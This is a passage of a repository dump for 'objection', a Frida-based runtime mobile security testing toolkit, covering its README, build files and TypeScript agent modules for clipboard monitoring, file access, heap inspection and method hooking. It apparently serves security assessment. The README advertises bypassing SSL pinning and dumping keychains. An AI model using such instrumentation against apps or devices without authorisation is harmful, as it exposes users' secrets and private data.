mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "include requirements.txt\n"
  },
  {
    "path": "Makefile",
    "content": "DIST_DIR := dist\n\ndefault: clean frida-agent sdist\n\nclean:\n\t$(RM) $(DIST_DIR)/*\n\nfrida-agent:\n\tcd agent && npm run build\n\nsdist:\n\tuv build\n\ntestupload:\n\tuv publish --index testpypi\n\nupload:\n\tuv publish\n"
  },
  {
    "path": "README.md",
    "content": "# 📱objection - Runtime Mobile Exploration\n\n`objection` is a runtime mobile exploration toolkit, powered by [Frida](https://www.frida.re/), built to help you assess the security posture of your mobile applications, without needing a jailbreak.\n\n[![Twitter](https://img.shields.io/badge/twitter-%40leonjza-blue.svg)](https://twitter.com/leonjza)\n[![PyPi](https://badge.fury.io/py/objection.svg)](https://pypi.python.org/pypi/objection)\n[![Black Hat Arsenal](https://raw.githubusercontent.com/toolswatch/badges/master/arsenal/europe/2017.svg?sanitize=true)](https://www.blackhat.com/eu-17/arsenal-overview.html)\n[![Black Hat Arsenal](https://raw.githubusercontent.com/toolswatch/badges/master/arsenal/usa/2019.svg?sanitize=true)](https://www.blackhat.com/us-19/arsenal-overview.html)\n\n<img align=\"right\" src=\"./images/objection.png\" height=\"220\" alt=\"objection\">\n\n- Supports both iOS and Android.\n- Inspect and interact with container file systems.\n- Bypass SSL pinning.\n- Dump keychains.\n- Perform memory related tasks, such as dumping & patching.\n- Explore and manipulate objects on the heap.\n- And much, much [more](https://github.com/sensepost/objection/wiki/Features)...\n\nScreenshots are available in the [wiki](https://github.com/sensepost/objection/wiki/Screenshots).\n\n## installation\n\nInstallation is simply a matter of `pip3 install objection`. This will give you the `objection` command. You can update an existing `objection` installation with `pip3 install --upgrade objection`.\n\nFor more detailed update and installation instructions, please refer to the wiki page [here](https://github.com/sensepost/objection/wiki/Installation).\n\n## license\n\n`objection` is licensed under a [GNU General Public v3 License](https://www.gnu.org/licenses/gpl-3.0.en.html). Permissions beyond the scope of this license may be available at [http://sensepost.com/contact/](http://sensepost.com/contact/).\n"
  },
  {
    "path": "agent/.gitignore",
    "content": "node_modules/"
  },
  {
    "path": "agent/README.md",
    "content": "# objection agent\n\nThis directory contains the source code for the agent used within `objection`. These sources are compiled and shipped with a distribution of `objection`, and live in `/objection/agent.js` in its compiled state.\n\nFor more information, such as development environment setup instructions, please refer to the project wiki [here](https://github.com/sensepost/objection/wiki/Agent-Development-Environment).\n"
  },
  {
    "path": "agent/package.json",
    "content": "{\n  \"name\": \"objection\",\n  \"version\": \"0.0.0\",\n  \"description\": \"Runtime Mobile Exploration\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"main\": \"src/index.ts\",\n  \"scripts\": {\n    \"prepare\": \"npm run build\",\n    \"build\": \"frida-compile src/index.ts -o ../objection/agent.js -T none\",\n    \"watch\": \"frida-compile src/index.ts -o ../objection/agent.js -w\",\n    \"lint\": \"tslint -c tslint.json 'src/**/*.ts'\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/sensepost/objection.git\"\n  },\n  \"keywords\": [\n    \"frida\",\n    \"runtime\",\n    \"mobile\",\n    \"security\",\n    \"objection\"\n  ],\n  \"author\": \"Leon Jacobs\",\n  \"license\": \"GPL-3.0\",\n  \"bugs\": {\n    \"url\": \"https://github.com/sensepost/objection/issues\"\n  },\n  \"homepage\": \"https://github.com/sensepost/objection#readme\",\n  \"dependencies\": {\n    \"frida-fs\": \"^7.0.0\",\n    \"frida-java-bridge\": \"^7\",\n    \"frida-objc-bridge\": \"^8\",\n    \"frida-screenshot\": \"^6\",\n    \"macho-ts\": \"^0.1.0\"\n  },\n  \"devDependencies\": {\n    \"@types/frida-gum\": \"^19\",\n    \"@types/node\": \"^24\",\n    \"frida-compile\": \"^19\",\n    \"tslint\": \"^6\"\n  }\n}\n"
  },
  {
    "path": "agent/src/android/clipboard.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport {\n  getApplicationContext,\n  wrapJavaPerform, \n  Java\n} from \"./lib/libjava.js\";\nimport { ClipboardManager } from \"./lib/types.js\";\n\nexport const monitor = (): Promise<void> => {\n  // -- Sample Java\n  //\n  // ClipboardManager f = (ClipboardManager)getApplicationContext().getSystemService(CLIPBOARD_SERVICE);\n  // ClipData.Item i = f.getPrimaryClip().getItemAt(0);\n  // Log.e(\"t\", \"?:\" + i.getText());\n\n  send(`${c.yellowBright(\"Warning!\")} This module is still broken. A pull request fixing it would be awesome!`);\n\n  // https://developer.android.com/reference/android/content/Context.html#CLIPBOARD_SERVICE\n  const CLIPBOARD_SERVICE: string = \"clipboard\";\n\n  // a variable for clipboard text\n  let data: string;\n\n  return wrapJavaPerform(() => {\n\n    const clipboardManager: ClipboardManager = Java.use(\"android.content.ClipboardManager\");\n    const context = getApplicationContext();\n    const clipboardHandle = context.getApplicationContext().getSystemService(CLIPBOARD_SERVICE);\n    const cp = Java.cast(clipboardHandle, clipboardManager);\n\n    setInterval(() => {\n\n      const primaryClip = cp.getPrimaryClip();\n\n      // Check if there is at least some data\n      if (primaryClip == null || primaryClip.getItemCount() <= 0) {\n        return;\n      }\n\n      // If we have managed to get the primary clipboard and there are\n      // items stored in it, process an update.\n      const currentString = primaryClip.getItemAt(0).coerceToText(context).toString();\n\n      // If the data is the same, just stop.\n      if (data === currentString) {\n        return;\n      }\n\n      // Update the data with the new string and report back.\n      data = currentString;\n\n      send(`${c.blackBright(`[pasteboard-monitor]`)} Data: ${c.greenBright(data.toString())}`);\n\n    }, 1000 * 5);\n  });\n};\n"
  },
  {
    "path": "agent/src/android/filesystem.ts",
    "content": "import * as fs from \"frida-fs\";\nimport { Buffer } from \"buffer\";\nimport { hexStringToBytes } from \"../lib/helpers.js\";\nimport { IAndroidFilesystem } from \"./lib/interfaces.js\";\nimport {\n  getApplicationContext,\n  wrapJavaPerform, \n  Java\n} from \"./lib/libjava.js\";\nimport {\n  File,\n  JavaClass\n} from \"./lib/types.js\";\n\nexport const exists = (path: string): Promise<boolean> => {\n  // -- Sample Java\n  //\n  // File path = new File(\".\");\n  // Boolean e = path.exists();\n\n  return wrapJavaPerform(() => {\n    const file: File = Java.use(\"java.io.File\");\n    const currentFile: JavaClass = file.$new(path);\n\n    return currentFile.exists();\n  });\n};\n\nexport const readable = (path: string): Promise<boolean> => {\n  // -- Sample Java Code\n  //\n  // File d = new File(\".\");\n  // d.canRead();\n\n  return wrapJavaPerform(() => {\n    const file: File = Java.use(\"java.io.File\");\n    const currentFile: JavaClass = file.$new(path);\n\n    return currentFile.canRead();\n  });\n};\n\nexport const writable = (path: string): Promise<boolean> => {\n  // -- Sample Java Code\n  //\n  // File d = new File(\".\");\n  // d.canWrite();\n\n  return wrapJavaPerform(() => {\n    const file: File = Java.use(\"java.io.File\");\n    const currentFile: JavaClass = file.$new(path);\n\n    return currentFile.canWrite();\n  });\n};\n\nexport const pathIsFile = (path: string): Promise<boolean> => {\n  // -- Sample Java Code\n  //\n  // File d = new File(\".\");\n  // d.isFile();\n\n  return wrapJavaPerform(() => {\n    const file: File = Java.use(\"java.io.File\");\n    const currentFile: JavaClass = file.$new(path);\n\n    return currentFile.isFile();\n  });\n};\n\nexport const pwd = (): Promise<string> => {\n  // -- Sample Java\n  //\n  // getApplicationContext().getFilesDir().getAbsolutePath()\n\n  return wrapJavaPerform(() => {\n    const context = getApplicationContext();\n    return context.getFilesDir().getAbsolutePath().toString();\n  });\n};\n\n// heavy lifting is done in frida-fs here.\nexport const readFile = (path: string): string | Buffer => {\n  if (fs.statSync(path).size == 0)\n    return Buffer.alloc(0);\n  return fs.readFileSync(path);\n};\n\n// heavy lifting is done in frida-fs here.\nexport const writeFile = (path: string, data: string): void => {\n  const writeStream: any = fs.createWriteStream(path);\n\n  writeStream.on(\"error\", (error: Error) => {\n    throw error;\n  });\n\n  writeStream.write(hexStringToBytes(data));\n  writeStream.end();\n};\n\nexport const deleteFile = (path: string): Promise<boolean> => {\n  // -- Sample Java Code\n  //\n  // File d = new File(\".\");\n  // d.delete();\n\n  return wrapJavaPerform(() => {\n    const file: File = Java.use(\"java.io.File\");\n    const currentFile: JavaClass = file.$new(path);\n\n    return currentFile.delete();\n  });\n};\n\nexport const ls = (p: string): Promise<IAndroidFilesystem> => {\n  // -- Sample Java Code\n  //\n  // File d = new File(\".\");\n  // File[] files = d.listFiles();\n  // Log.e(getClass().getName(), \"Files: \" + files.length);\n  // for (int i = 0; i < files.length; i++) {\n  //     Log.e(getClass().getName(),\n  //             files[i].getName() + \": \" + files[i].canRead()\n  //             + \" \" + files[i].lastModified()\n  //             + \" \" + files[i].length()\n  //     );\n  // }\n\n  return wrapJavaPerform(() => {\n    const file: File = Java.use(\"java.io.File\");\n    const directory: JavaClass = file.$new(p);\n\n    const response: IAndroidFilesystem = {\n      files: {},\n      path: p,\n      readable: directory.canRead(),\n      writable: directory.canWrite(),\n    };\n\n    if (!response.readable) { return response; }\n\n    // get a listing of the files in the directory\n    const files: any[] = directory.listFiles();\n\n    for (const f of files) {\n      response.files[f.getName()] = {\n        attributes: {\n          isDirectory: f.isDirectory(),\n          isFile: f.isFile(),\n          isHidden: f.isHidden(),\n          lastModified: f.lastModified(),\n          size: f.length(),\n        },\n        fileName: f.getName(),\n        readable: f.canRead(),\n        writable: f.canWrite(),\n      };\n    }\n\n    return response;\n  });\n};\n"
  },
  {
    "path": "agent/src/android/general.ts",
    "content": "import {\n  wrapJavaPerform,\n  Java\n} from \"./lib/libjava.js\";\n\nexport const deoptimize = (): Promise<void> => {\n  return wrapJavaPerform(() => {\n    Java.deoptimizeEverything();\n  });\n};\n"
  },
  {
    "path": "agent/src/android/heap.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport {\n  IHeapClassDictionary,\n  IHeapObject,\n  IJavaField,\n  IHeapNormalised\n} from \"./lib/interfaces.js\";\nimport {\n  wrapJavaPerform,\n  Java\n} from \"./lib/libjava.js\";\nexport let handles: IHeapClassDictionary = {};\nimport type { default as JavaTypes } from \"frida-java-bridge\";\n\n\nconst getInstance = (hashcode: number): JavaTypes.Wrapper | null => {\n  const matches: IHeapObject[] = [];\n\n  // Search for this handle, and push the results to matches\n  Object.keys(handles).forEach((clazz) => {\n    handles[clazz].filter((heapObject) => {\n      if (heapObject.hashcode === hashcode) {\n        matches.push(heapObject);\n      }\n    });\n  });\n\n  if (matches.length > 1) {\n    c.log(`Found ${c.redBright(matches.length.toString())} handles, this is probably a bug, please report it!`);\n  }\n\n  if (matches.length > 0) {\n    wrapJavaPerform(() => {\n      c.log(`${c.blackBright(`Handle ` + hashcode + ` is to class `)}\n        ${c.greenBright(matches[0].instance.$className)}`);\n    });\n    return matches[0].instance;\n  }\n\n  c.log(`${c.yellowBright(`Warning:`)} Could not find a known handle for ${hashcode}. ` +\n    `Try searching class instances first.`);\n\n  return null;\n};\n\nexport const getInstances = (clazz: string): Promise<any[]> => {\n  return wrapJavaPerform(() => {\n\n    handles[clazz] = [];\n\n    // tslint:disable:only-arrow-functions\n    // tslint:disable:object-literal-shorthand\n    // tslint:disable:no-empty\n    Java.choose(clazz, {\n      onComplete: function () {\n        c.log(`Class instance enumeration complete for ${c.green(clazz)}`);\n      },\n      onMatch: function (instance) {\n        handles[clazz].push({\n          instance: instance,\n          hashcode: instance.hashCode(),\n        });\n      },\n    });\n    // tslint:enable\n\n    return handles[clazz].map((h): IHeapNormalised => {\n      return {\n        hashcode: h.hashcode,\n        classname: clazz,\n        tostring: h.instance.toString(),\n      };\n    });\n  });\n};\n\nexport const methods = (handle: number): Promise<string[]> => {\n  return wrapJavaPerform(() => {\n    const clazz = getInstance(handle);\n    if (clazz == null) {\n      return [];\n    }\n\n    return clazz.class.getDeclaredMethods().map((method: any) => {\n      return method.toGenericString();\n    });\n  });\n};\n\nexport const execute = (handle: number, method: string, returnString: boolean = false): Promise<string | null> => {\n  return wrapJavaPerform(() => {\n    const clazz = getInstance(handle);\n\n    if (clazz == null) {\n      return;\n    }\n\n    c.log(`${c.blackBright(`Executing method:`)} ${c.greenBright(`${method}()`)}`);\n    const returnValue = clazz[method]();\n\n    if (returnString && returnValue) {\n      return returnValue.toString();\n    }\n\n    return returnValue;\n  });\n};\n\nexport const fields = (handle: number): Promise<IJavaField[]> => {\n  return wrapJavaPerform(() => {\n    const clazz = getInstance(handle);\n\n    if (clazz == null) {\n      return;\n    }\n\n    return clazz.class.getDeclaredFields().map((field: any): IJavaField => {\n      const fieldName: string = field.getName();\n      const fieldInstance: JavaTypes.Wrapper = clazz.class.getDeclaredField(fieldName);\n      fieldInstance.setAccessible(true);\n\n      let fieldValue = fieldInstance.get(clazz);\n\n      // Cast a string if possible\n      if (fieldValue) {\n        fieldValue = fieldValue.toString();\n      }\n\n      return {\n        name: fieldName,\n        value: fieldValue,\n      };\n    });\n  });\n};\n\nexport const evaluate = (handle: number, js: string): Promise<void> => {\n  return wrapJavaPerform(() => {\n    const clazz = getInstance(handle);\n\n    if (clazz == null) {\n      return;\n    }\n\n    // tslint:disable-next-line:no-eval\n    eval(js);\n  });\n};\n"
  },
  {
    "path": "agent/src/android/hooking.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport * as jobs from \"../lib/jobs.js\";\nimport { ICurrentActivityFragment } from \"./lib/interfaces.js\";\nimport {\n  getApplicationContext,\n  R,\n  wrapJavaPerform,\n  Java\n} from \"./lib/libjava.js\";\nimport {\n  Activity,\n  ActivityClientRecord,\n  ActivityThread,\n  ArrayMap,\n  JavaClass,\n  PackageManager,\n  Throwable,\n  JavaMethodsOverloadsResult,\n} from \"./lib/types.js\";\nimport type { default as JavaTypes } from \"frida-java-bridge\";\n\nenum PatternType {\n  Regex = 'regex',\n  Klass = 'klass',\n}\n\nconst splitClassMethod = (fqClazz: string): string[] => {\n  // split a fully qualified class name, assuming the last period denotes the method\n  const methodSeperatorIndex: number = fqClazz.lastIndexOf(\".\");\n\n  const clazz: string = fqClazz.substring(0, methodSeperatorIndex);\n  const method: string = fqClazz.substring(methodSeperatorIndex + 1); // Increment by 1 to exclude the leading period\n\n  return [clazz, method];\n};\n\nexport const getClasses = (): Promise<string[]> => {\n  return wrapJavaPerform(() => {\n    return Java.enumerateLoadedClassesSync();\n  });\n};\n\nexport const getClassLoaders = (): Promise<string[]> => {\n  return wrapJavaPerform(() => {\n    const loaders: string[] = [];\n    Java.enumerateClassLoaders({\n      onMatch: function (l) {\n        if (l == null) {\n          return;\n        }\n        loaders.push(l.toString());\n      },\n      onComplete: function () { }\n    });\n\n    return loaders;\n  });\n};\n\nconst getPatternType = (pattern: string): PatternType => {\n  if (pattern.indexOf('!') !== -1) {\n    return PatternType.Regex;\n  }\n\n  return PatternType.Klass;\n};\n\nexport const lazyWatchForPattern = (query: string, watch: boolean, dargs: boolean, dret: boolean, dbt: boolean): void => {\n  // TODO: Use param to control interval\n  let found = false;\n  const job: jobs.Job = new jobs.Job(jobs.identifier(),`notify-class for: ${query}`);\n\n  // This method loops over all enumerate matches and then calls watch\n  // with the arguments specified in the parent function\n  const watchMatches = (matches: JavaTypes.EnumerateMethodsMatchGroup[]) => {\n    matches.forEach(match => {\n      match.classes.forEach(_class => {\n        _class.methods.forEach(_method => {\n          watchMethod(_class.name + \".\" + _method, job, dargs, dbt, dret);\n        })\n      })\n    })\n  }\n\n  // Check if the pattern is found before starting an interval\n  javaEnumerate(query).then(matches => {\n    if (matches.length > 0) {\n      found = true;\n      send(`${c.green(query)} is already loaded / available`);\n      if (watch) {\n        watchMatches(matches);\n        jobs.add(job);\n      }\n    }\n  });\n\n  if (found) return;\n\n  send(`Watching for ${c.green(query)} ${c.blackBright(`(not starting a job)`)}`);\n\n  // TODO: The javaEnumerate promise makes this racy. Figure it out one day.\n  const interval = setInterval(() => {\n    javaEnumerate(query).then(matches => {\n      // Only notify if we haven't before\n      if (!found && matches.length > 0) {\n        send(`${c.green(query)} is now available`);\n        found = true;\n        if (watch) {\n          watchMatches(matches);\n          jobs.add(job);\n        }\n      }\n\n      if (found) clearInterval(interval);\n    });\n  }, 1000 * 5);\n};\n\nexport const javaEnumerate = (query: string): Promise<JavaTypes.EnumerateMethodsMatchGroup[]> => {\n  // If the query is just a classname, strongarm it into a pattern.\n  if (getPatternType(query) === PatternType.Klass) {\n    query = `*${query}*!*`;\n  }\n\n  return wrapJavaPerform(() => {\n    return Java.enumerateMethods(query);\n  });\n};\n\nexport const getClassMethods = (className: string): Promise<string[]> => {\n  return wrapJavaPerform(() => {\n\n    const clazz: JavaClass = Java.use(className);\n    return clazz.class.getDeclaredMethods().map((method) => {\n      return method.toGenericString();\n    });\n  });\n};\n\n// This function takes in a method such as package.class.perform()\n// and extracts only the method name, ie \"perform\"\nconst genericMethodNameToMethodOnly = (fullMethodName: string): string => {\n  // Reduces [package, class, perform()] to \"perform()\"\n  const method = fullMethodName.split('.').filter((part: string) => part.includes('('))[0];\n  // Now extract everything before the first '('\n  return method.substring(0, method.indexOf('('));\n};\n\n// This method assumes that it's being called from inside wrapJavaPerform\n// TODO: Not in use yet, but this is a proposal to replace Java.use() to\n//  support multiple classloaders transparently.\nexport const getClassHandle = (className: string): JavaClass | null => {\n  let clazz: JavaClass = null;\n  const loaders = Java.enumerateClassLoadersSync();\n  let found = false;\n\n  // Try to get a handle using each of the class loaders\n  for (let i = 0; i < loaders.length; i++) {\n    const loader = loaders[i];\n    const factory = Java.ClassFactory.get(loader);\n    try {\n      clazz = factory.use(className);\n      found = true;\n      break;\n    } catch { }\n  }\n  if (found) {\n    return clazz;\n  } else {\n    return null;\n  }\n};\n\n// This method assumes that it's being called from inside wrapJavaPerform\n// It behaves the same as the above, except only uses the specified class\n// loader\nexport const getClassHandleWithLoaderClassName = (className: string, loaderClassName: any): JavaClass | null => {\n  let clazz: JavaClass = null;\n  const loaders = Java.enumerateClassLoadersSync()\n    .filter(loader => loaderClassName === loader.$className);\n\n  if (loaders.length == 0) return null;\n\n  let found = false;\n  // Try to get a handle using each of the class loaders\n  // This is still required because some loaders may have the\n  // same name, so distinguishing between them using this is\n  // incorrect. I'm sure there is a way of finding the correct\n  // one efficiently.\n  for (let i = 0; i < loaders.length; i++) {\n    const loader = loaders[i];\n    const factory = Java.ClassFactory.get(loader);\n    try {\n      clazz = factory.use(className);\n      found = true;\n      break;\n    } catch { }\n  }\n\n  if (found) return clazz;\n\n  return null;\n};\n\nexport const getClassMethodsOverloads = (className: string,\n  methodsAllowList: string[] = [], loader?: string): Promise<JavaMethodsOverloadsResult> => {\n\n  return wrapJavaPerform(() => {\n    const result: JavaMethodsOverloadsResult = {};\n    const clazz = loader !== null ? getClassHandleWithLoaderClassName(className, loader) : Java.use(className);\n\n    if (clazz === null) {\n      throw new Error(\"Could not find class!\");\n    }\n\n    // TODO(cduplooy): The below line can fail with Error: java.lang.NoClassDefFoundError: Failed resolution of: Landroidx/datastore/core/DataStore;\n    // This seems to involve custom class loaders...\n    const methods = clazz.class.getDeclaredMethods()\n      .map(method => genericMethodNameToMethodOnly(method.toGenericString()));\n    methods.forEach(methodName => {\n      if (methodsAllowList.length === 0 || (methodsAllowList.length > 0 && methodsAllowList.includes(methodName))) {\n        const overloads = clazz[methodName].overloads;\n        result[methodName] = {\n          'argTypes': overloads.map(overload => overload.argumentTypes),\n          'returnType': overloads.map(overload => overload.returnType),\n          'methodName': overloads.map(overload => overload.methodName),\n          'handle': overloads.map(overload => overload.handle),\n          'holder': overloads.map(overload => overload.holder),\n          'type': overloads.map(overload => overload.type),\n        };\n      }\n    });\n\n    // Finally append the constructor details\n    if (clazz.class.getConstructors().length > 0) {\n      if (methodsAllowList.length === 0 || (methodsAllowList.length > 0 && methodsAllowList.includes(\"$init\"))) {\n        const overloads = clazz['$init'].overloads;\n        result['$init'] = {\n          'argTypes': overloads.map(overload => overload.argumentTypes),\n          'returnType': overloads.map(overload => overload.returnType),\n          'methodName': overloads.map(overload => overload.methodName),\n          'handle': overloads.map(overload => overload.handle),\n          'holder': overloads.map(overload => overload.holder),\n          'type': overloads.map(overload => overload.type),\n        };\n      }\n    }\n\n    return result;\n  });\n};\n\nexport const watch = (pattern: string, dargs: boolean, dbt: boolean, dret: boolean): Promise<void> => {\n\n  // The general idea here is that we enumerate the total functions (based on the pattern type)\n  // and via watchClass (which calls wathMethod) apply hooks.\n  const patternType = getPatternType(pattern);\n\n  if (patternType === PatternType.Klass) {\n\n    // start a new job container\n    const job: jobs.Job = new jobs.Job(jobs.identifier(),`watch-class for: ${pattern}`);\n\n    const w = watchClass(pattern, job, dargs, dbt, dret);\n    jobs.add(job);\n\n    return w;\n  }\n\n  // assume we have PatternType.Regex\n  const job: jobs.Job = new jobs.Job(jobs.identifier(),`watch-pattern for: ${pattern}`);\n  jobs.add(job);\n\n  return new Promise((resolve, reject) => {\n    javaEnumerate(pattern).then((matches: JavaTypes.EnumerateMethodsMatchGroup[]) => {\n      matches.forEach((match: JavaTypes.EnumerateMethodsMatchGroup) => {\n        match.classes.forEach((klass: JavaTypes.EnumerateMethodsMatchClass) => {\n          klass.methods.forEach(method => {\n            // Only watch matched methods\n            watchMethod(`${klass.name}.${method}`, job, dargs, dbt, dret);\n          });\n        });\n      });\n      resolve();\n    }).catch((error) => {\n      reject(error);\n    });\n  });\n};\n\nconst watchClass = (clazz: string, job: jobs.Job, dargs: boolean = false, dbt: boolean = false, dret: boolean = false): Promise<void> => {\n  return wrapJavaPerform(() => {\n    const clazzInstance: JavaClass = Java.use(clazz);\n\n    clazzInstance.class.getDeclaredMethods().map((method) => {\n      // perform a cleanup of the method. An example after toGenericString() would be:\n      // public void android.widget.ScrollView.draw(android.graphics.Canvas) throws Exception\n      // public final rx.c.b<java.lang.Throwable> com.apple.android.music.icloud.a.a(rx.c.b<java.lang.Throwable>)\n      let m: string = method.toGenericString();\n\n      // Remove generics from the method\n      while (m.includes(\"<\")) { m = m.replace(/<.*?>/g, \"\"); }\n\n      // remove any \"Throws\" the method may have\n      if (m.indexOf(\" throws \") !== -1) { m = m.substring(0, m.indexOf(\" throws \")); }\n\n      // remove scope and return type declarations (aka: first two words)\n      // remove the class name\n      // remove the signature and return\n      m = m.slice(m.lastIndexOf(\" \"));\n      m = m.replace(` ${clazz}.`, \"\");\n\n      return m.split(\"(\")[0];\n\n    }).filter((value, index, self) => {\n\n      return self.indexOf(value) === index;\n    }).forEach((method) => {\n\n      // get the argument types for this overload\n      // send(`Watching ${c.green(clazz)}.${c.greenBright(method)}()`);\n      const fqClazz = `${clazz}.${method}`;\n      watchMethod(fqClazz, job, dargs, dbt, dret);\n    });\n  });\n};\n\nconst watchMethod = (\n  fqClazz: string, job: jobs.Job, dargs: boolean, dbt: boolean, dret: boolean,\n): Promise<void> => {\n  const [clazz, method] = splitClassMethod(fqClazz);\n  // send(`Attempting to watch class ${c.green(clazz)} and method ${c.green(method)}.`);\n\n  return wrapJavaPerform(() => {\n    const throwable: Throwable = Java.use(\"java.lang.Throwable\");\n    const targetClass: JavaClass = Java.use(clazz);\n\n    // Ensure that the method exists on the class\n    if (targetClass[method] === undefined) {\n      send(`${c.red(\"Error:\")} Unable to find method ${c.redBright(method)} in class ${c.green(clazz)}`);\n      return;\n    }\n\n    targetClass[method].overloads.forEach((m: any) => {\n      // get the argument types for this overload\n      const calleeArgTypes: string[] = m.argumentTypes.map((arg) => arg.className);\n\n      send(`Watching ${c.green(clazz)}.${c.greenBright(method)}(${c.red(calleeArgTypes.join(\", \"))})`);\n      // replace the implementation of this method\n      // tslint:disable-next-line:only-arrow-functions\n      m.implementation = function () {\n        send(\n          c.blackBright(`[${job.identifier}] `) +\n          `Called ${c.green(clazz)}.${c.greenBright(m.methodName)}(${c.red(calleeArgTypes.join(\", \"))})`,\n        );\n\n        // dump a backtrace\n        if (dbt) {\n          send(\n            c.blackBright(`[${job.identifier}] `) + \"Backtrace:\\n\\t\" +\n            throwable.$new().getStackTrace().map((traceElement) => traceElement.toString() + \"\\n\\t\").join(\"\"),\n          );\n        }\n\n        // dump arguments\n        if (dargs && calleeArgTypes.length > 0) {\n          const argValues: string[] = [];\n          for (const h of arguments) {\n            argValues.push((h || \"(none)\").toString());\n          }\n\n          send(\n            c.blackBright(`[${job.identifier}] `) +\n            `Arguments ${c.green(clazz)}.${c.greenBright(m.methodName)}(${c.red(argValues.join(\", \"))})`,\n          );\n        }\n\n        // actually run the intended method\n        const retVal: any = m.apply(this, arguments);\n\n        // dump the return value\n        if (dret) {\n          const retValStr: string = (retVal || \"(none)\").toString();\n          send(c.blackBright(`[${job.identifier}] `) + `Return Value: ${c.red(retValStr)}`);\n        }\n\n        // also return the captured return value\n        return retVal;\n      };\n\n      // Push the implementation so that it can be nulled later\n      job.addImplementation(m);\n\n    });\n  });\n};\n\nexport const getCurrentActivity = (): Promise<ICurrentActivityFragment> => {\n  return wrapJavaPerform(() => {\n    const activityThread: ActivityThread = Java.use(\"android.app.ActivityThread\");\n    const activity: Activity = Java.use(\"android.app.Activity\");\n    const activityClientRecord: ActivityClientRecord = Java.use(\"android.app.ActivityThread$ActivityClientRecord\");\n\n    const currentActivityThread = activityThread.currentActivityThread();\n    const activityRecords = currentActivityThread.mActivities.value.values().toArray();\n    let currentActivity;\n\n    for (const i of activityRecords) {\n      const activityRecord = Java.cast(i, activityClientRecord);\n      if (!activityRecord.paused.value) {\n        currentActivity = Java.cast(Java.cast(activityRecord, activityClientRecord).activity.value, activity);\n        break;\n      }\n    }\n\n    if (currentActivity) {\n      // Discover an active fragment\n      const fm = currentActivity.getFragmentManager();\n      const fragment = fm.findFragmentById(R(\"content_frame\", \"id\"));\n\n      return {\n        activity: currentActivity.$className,\n        fragment: fragment.$className,\n      };\n    }\n\n    return {\n      activity: null,\n      fragment: null,\n    };\n  });\n};\n\nexport const getActivities = (): Promise<string[]> => {\n  return wrapJavaPerform(() => {\n\n    const packageManager: PackageManager = Java.use(\"android.content.pm.PackageManager\");\n    const GET_ACTIVITIES = packageManager.GET_ACTIVITIES.value;\n    const context = getApplicationContext();\n\n    return Array.prototype.concat(context.getPackageManager()\n      .getPackageInfo(context.getPackageName(), GET_ACTIVITIES).activities.value.map((activityInfo) => {\n        return activityInfo.name.value;\n      }),\n    );\n  });\n};\n\nexport const getServices = (): Promise<string[]> => {\n  return wrapJavaPerform(() => {\n    const activityThread: ActivityThread = Java.use(\"android.app.ActivityThread\");\n    const arrayMap: ArrayMap = Java.use(\"android.util.ArrayMap\");\n    const packageManager: PackageManager = Java.use(\"android.content.pm.PackageManager\");\n\n    const GET_SERVICES = packageManager.GET_SERVICES.value;\n\n    const currentApplication = activityThread.currentApplication();\n    // not using the helper as we need other variables too\n    const context = currentApplication.getApplicationContext();\n\n    var services: string[] = [];\n\n    currentApplication.mLoadedApk.value.mServices.value.values().toArray().map((potentialServices) => {\n      Java.cast(potentialServices, arrayMap).keySet().toArray().map((service) => {\n        services.push(service.$className);\n      });\n    });\n\n    services = services.concat(context.getPackageManager()\n      .getPackageInfo(context.getPackageName(), GET_SERVICES).services.value.map((activityInfo) => {\n        return activityInfo.name.value;\n      }),\n    );\n\n    return services;\n  });\n};\n\nexport const getBroadcastReceivers = (): Promise<string[]> => {\n  return wrapJavaPerform(() => {\n    const activityThread: ActivityThread = Java.use(\"android.app.ActivityThread\");\n    const arrayMap: ArrayMap = Java.use(\"android.util.ArrayMap\");\n    const packageManager: PackageManager = Java.use(\"android.content.pm.PackageManager\");\n\n    const GET_RECEIVERS = packageManager.GET_RECEIVERS.value;\n\n    const currentApplication = activityThread.currentApplication();\n    // not using the helper as we need other variables too\n    const context = currentApplication.getApplicationContext();\n    const receiversFromContext = context.getPackageManager().getPackageInfo(\n      context.getPackageName(),\n      GET_RECEIVERS\n    ).receivers.value\n\n    var receivers: string[] = [];\n\n    currentApplication.mLoadedApk.value.mReceivers.value.values().toArray().map((potentialReceivers) => {\n      Java.cast(potentialReceivers, arrayMap).keySet().toArray().map((receiver) => {\n        receivers.push(receiver.$className);\n      });\n    });\n\n    if (receiversFromContext != null)\n      receivers = receivers.concat(receiversFromContext.map((activityInfo) => {\n        return activityInfo.name.value;\n      }));\n\n    return receivers;\n  });\n};\n\nexport const setReturnValue = (fqClazz: string, filterOverload: string | null, newRet: boolean): Promise<void> => {\n  const [clazz, method] = splitClassMethod(fqClazz);\n  send(`Attempting to modify return value for class ${c.green(clazz)} and method ${c.green(method)}.`);\n\n  if (filterOverload != null) {\n    send(c.blackBright(`Will filter for method overload with arguments:`) +\n      ` ${c.green(filterOverload)}`);\n  }\n\n  return wrapJavaPerform(() => {\n    const job: jobs.Job = new jobs.Job(jobs.identifier(), `set-return for: ${fqClazz}`);\n\n    const targetClazz: JavaClass = Java.use(clazz);\n\n    targetClazz[method].overloads.forEach((m: any) => {\n      // get the argument types for this method\n      const calleeArgTypes: string[] = m.argumentTypes.map((arg) => arg.className);\n\n      // check if we need to filter on a 